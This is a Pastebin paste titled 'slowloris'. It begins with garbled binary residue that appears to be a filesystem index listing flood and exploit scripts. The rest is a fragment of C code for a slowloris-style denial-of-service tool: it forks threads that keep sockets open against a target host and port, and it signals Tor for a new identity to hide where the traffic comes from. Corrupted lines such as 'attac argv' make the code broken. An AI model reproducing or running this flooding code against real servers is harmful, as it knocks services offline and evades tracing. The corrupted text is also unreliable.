Advertisement
xttpx

slowloris

Dec 7th, 2022
1,557
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.41 KB | None | 0 0
  1. INDX(    sJ            (   8  è       Ò      ntk(          ‡      ` P     †      æ5Ñ{DÒU†ßKuÀÑJB$:wDÒæ5Ñ{DÒ       Ä               . b a s h r c ˆ      h R     †      ¶äÒ{DÒq‘µfuÀÑÓU$:wDÒ¶äÒ{DÒ˜       –                . p r o f i l e       Š      ` N     †      ‚VuÔ{DÒ]’þtÀÑÓU$:wDÒ‚VuÔ{DÒ      •ˆ              4 2 0 . p l   Ž      ` N     †      ÍÓì{DÒxÎìÉtÀÑhi$:wDÒÍÓì{DÒ       y               d g h . p l         ` P     †      ~ð±õ{DÒ4 ¶´tÀÑhi$:wDÒ~ð±õ{D        @
  2.                d i c k . p l       h R     †      r x |DÒ6³ŒtÀÑhi$:wDÒr x |DÒ                       f l o o d . p l       ‘      ` P     †      ßÅ} |DÒ˜H}tÀÑï|$:wDÒßÅ} |DÒ                         f r a g . p l “      h T     †      ºÆ|DÒ˜[ œ7²Ñï|$:wDÒºÆ|DÒ       ý                g o t t . 1 . p l     ”      h T     †      ;}|DÒP©­7²Ñn$:wDÒ;}|DÒÐ      É                g o t t . 2 . p y     •      h T     †      Hô|DÒ‰!•z™mÐø£$:wDÒHô|DÒ      ’                g o t t . 3 . p l     —      h T     †      ·Um"|DÒC…1r¼Ñø£$:wDÒ·Um"|DÒ                       g o t t . 4 . p l     ˜      ` N     †      •i'|DÒ —bd›ÌŠ·$:wDÒ•i'|DÒ        4               g o t t . c   š      ` J     †      ±q5,|Dҝ3êúñÌÑ Ë$:wDÒ±q5,|DÒ @      <               m e n u       œ      ` P     †      ,§t/|DÒV'?ÙsÀÑ Ë$:wDÒ,§t/|DÒ       ÷               n o o b . p l ž      h X     †      /¥2|DÒ ‰fÉK‚̘Þ$:wDÒ/¥2|DÒ       m             s l o w l o r i s . c        h R     †      tÓ‘3|DÒ4•Úâþ²Ñ˜Þ$:wDÒtÓ‘3|DÒ       {               s m a s h . p l       ¡      ` L     †      Þ½’3|DÒÉ¿¾¬mÀÑò$:wDÒÞ½’3|DÒ       Û               s y n . c     ¤      ` P     †      gö“3|DÒ¤ô7mÀÑò$:wDÒgö“3|DÒ       Û
  3.               w e e d . p l                     if(sockets[x] == 0)
  4.                                sockets[x] = make_socket(host, port);
  5.                        r=write(sockets[x], "\0", 1);
  6.                       if(r == -1) {
  7.                                close(sockets[x]);
  8.                                sockets[x] = make_socket(host, port);
  9.                        } else
  10. //                              fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  11.                        fprintf(stderr, "[%i: Voly Sent]\n", id);
  12.                }
  13.                fprintf(stderr, "[%i: Voly Sent]\n", id);
  14.                usleep(300000);
  15.        }
  16. }
  17.  
  18. void cycle_identity() {
  19.        int r;
  20.        i  socket = make_socket("localhost", "9050");
  21.        write(socket, "AUTHENTICATE \"\"\n", 16);
  22.        while(1) {
  23.                r=write(socket, "signal NEWNYM\n\x00", 16);
  24.                fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  25.                usleep(300000);
  26.        }
  27. }
  28.  
  29. int main(int argc, char **argv) {
  30.        int x;
  31.        if(argc !=3)
  32.                cycle_identity();
  33.        for(x=0; x != THREADS; x++) {
  34.                if(fork())
  35.                        attac argv[1], argv[2], x);
  36.                usleep(200000);
  37.        }
  38.        getc(stdin);
  39.        return 0;
  40. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement